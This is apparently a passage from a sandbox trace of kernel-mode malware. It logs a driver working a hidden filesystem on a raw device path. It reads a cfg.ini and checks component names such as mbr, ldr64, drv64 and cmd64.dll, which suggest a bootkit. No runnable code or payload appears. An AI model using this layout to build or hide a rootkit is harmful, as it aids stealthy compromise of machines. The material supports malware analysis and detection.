IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.643] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.643] IdePortDispatch () returned 0x103 [0127.643] KeWaitForMutexObject () returned 0x0 [0127.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] KeLeaveCriticalRegion () [0127.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.643] KeEnterCriticalRegion () [0127.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7a000 [0127.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.644] IdePortDispatch () returned 0x103 [0127.644] KeWaitForMutexObject () returned 0x0 [0127.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.644] IdePortDispatch () returned 0x103 [0127.644] KeWaitForMutexObject () returned 0x0 [0127.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.644] KeLeaveCriticalRegion () [0127.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.645] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.645] KeEnterCriticalRegion () [0127.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] KeLeaveCriticalRegion () [0127.645] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.645] KeEnterCriticalRegion () [0127.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.645] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] KeLeaveCriticalRegion () [0127.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.645] KeEnterCriticalRegion () [0127.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] KeLeaveCriticalRegion () [0127.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.645] ReleaseMutex (hMutex=0xf0) returned 1 [0127.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.645] KeEnterCriticalRegion () [0127.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.645] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.645] IdePortDispatch () returned 0x103 [0127.645] KeWaitForMutexObject () returned 0x0 [0127.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.646] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.646] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.646] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.646] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.646] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbd20 [0127.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] KeLeaveCriticalRegion () [0127.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.646] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.646] KeEnterCriticalRegion () [0127.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] KeLeaveCriticalRegion () [0127.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.646] KeEnterCriticalRegion () [0127.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.646] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.646] IdePortDispatch () returned 0x103 [0127.646] KeWaitForMutexObject () returned 0x0 [0127.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] KeLeaveCriticalRegion () [0127.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.646] KeEnterCriticalRegion () [0127.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7b000 [0127.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.647] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.647] IdePortDispatch () returned 0x103 [0127.647] KeWaitForMutexObject () returned 0x0 [0127.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.647] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.647] IdePortDispatch () returned 0x103 [0127.647] KeWaitForMutexObject () returned 0x0 [0127.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.647] KeLeaveCriticalRegion () [0127.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.648] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.648] KeEnterCriticalRegion () [0127.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] KeLeaveCriticalRegion () [0127.648] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.648] KeEnterCriticalRegion () [0127.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.648] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] KeLeaveCriticalRegion () [0127.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.648] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.648] KeEnterCriticalRegion () [0127.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] ExFreePoolWithTag (P=0xfffffa8003bfbd20, Tag=0x0) [0127.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] KeLeaveCriticalRegion () [0127.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.648] ReleaseMutex (hMutex=0xf0) returned 1 [0127.648] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.648] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.648] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.648] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.648] KeEnterCriticalRegion () [0127.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.648] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.648] IdePortDispatch () returned 0x103 [0127.648] KeWaitForMutexObject () returned 0x0 [0127.648] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.649] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.649] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.649] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.649] KeLeaveCriticalRegion () [0127.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.649] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.649] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.649] KeEnterCriticalRegion () [0127.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.649] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.649] IdePortDispatch () returned 0x103 [0127.649] KeWaitForMutexObject () returned 0x0 [0127.649] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.649] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.649] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.649] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.649] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.649] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.650] KeLeaveCriticalRegion () [0127.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.650] ReleaseMutex (hMutex=0x100) returned 1 [0127.650] Sleep (dwMilliseconds=0x2bf20) [0127.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f48ab70, dwHighDateTime=0x1d24fa4)) [0127.657] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.657] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.657] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.657] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.657] KeEnterCriticalRegion () [0127.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.657] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.657] IdePortDispatch () returned 0x103 [0127.657] KeWaitForMutexObject () returned 0x0 [0127.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.657] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.658] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.658] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.658] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.658] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb310 [0127.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] KeLeaveCriticalRegion () [0127.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.658] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.658] KeEnterCriticalRegion () [0127.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] KeLeaveCriticalRegion () [0127.658] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.658] KeEnterCriticalRegion () [0127.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.658] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.658] IdePortDispatch () returned 0x103 [0127.658] KeWaitForMutexObject () returned 0x0 [0127.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] KeLeaveCriticalRegion () [0127.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.658] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.658] KeEnterCriticalRegion () [0127.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7e000 [0127.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.658] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.658] IdePortDispatch () returned 0x103 [0127.659] KeWaitForMutexObject () returned 0x0 [0127.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.659] IdePortDispatch () returned 0x103 [0127.659] KeWaitForMutexObject () returned 0x0 [0127.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.659] KeLeaveCriticalRegion () [0127.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.659] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.659] KeEnterCriticalRegion () [0127.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.659] KeLeaveCriticalRegion () [0127.660] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.660] KeEnterCriticalRegion () [0127.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] KeLeaveCriticalRegion () [0127.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.660] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.660] KeEnterCriticalRegion () [0127.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] ExFreePoolWithTag (P=0xfffffa8003bfb310, Tag=0x0) [0127.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] 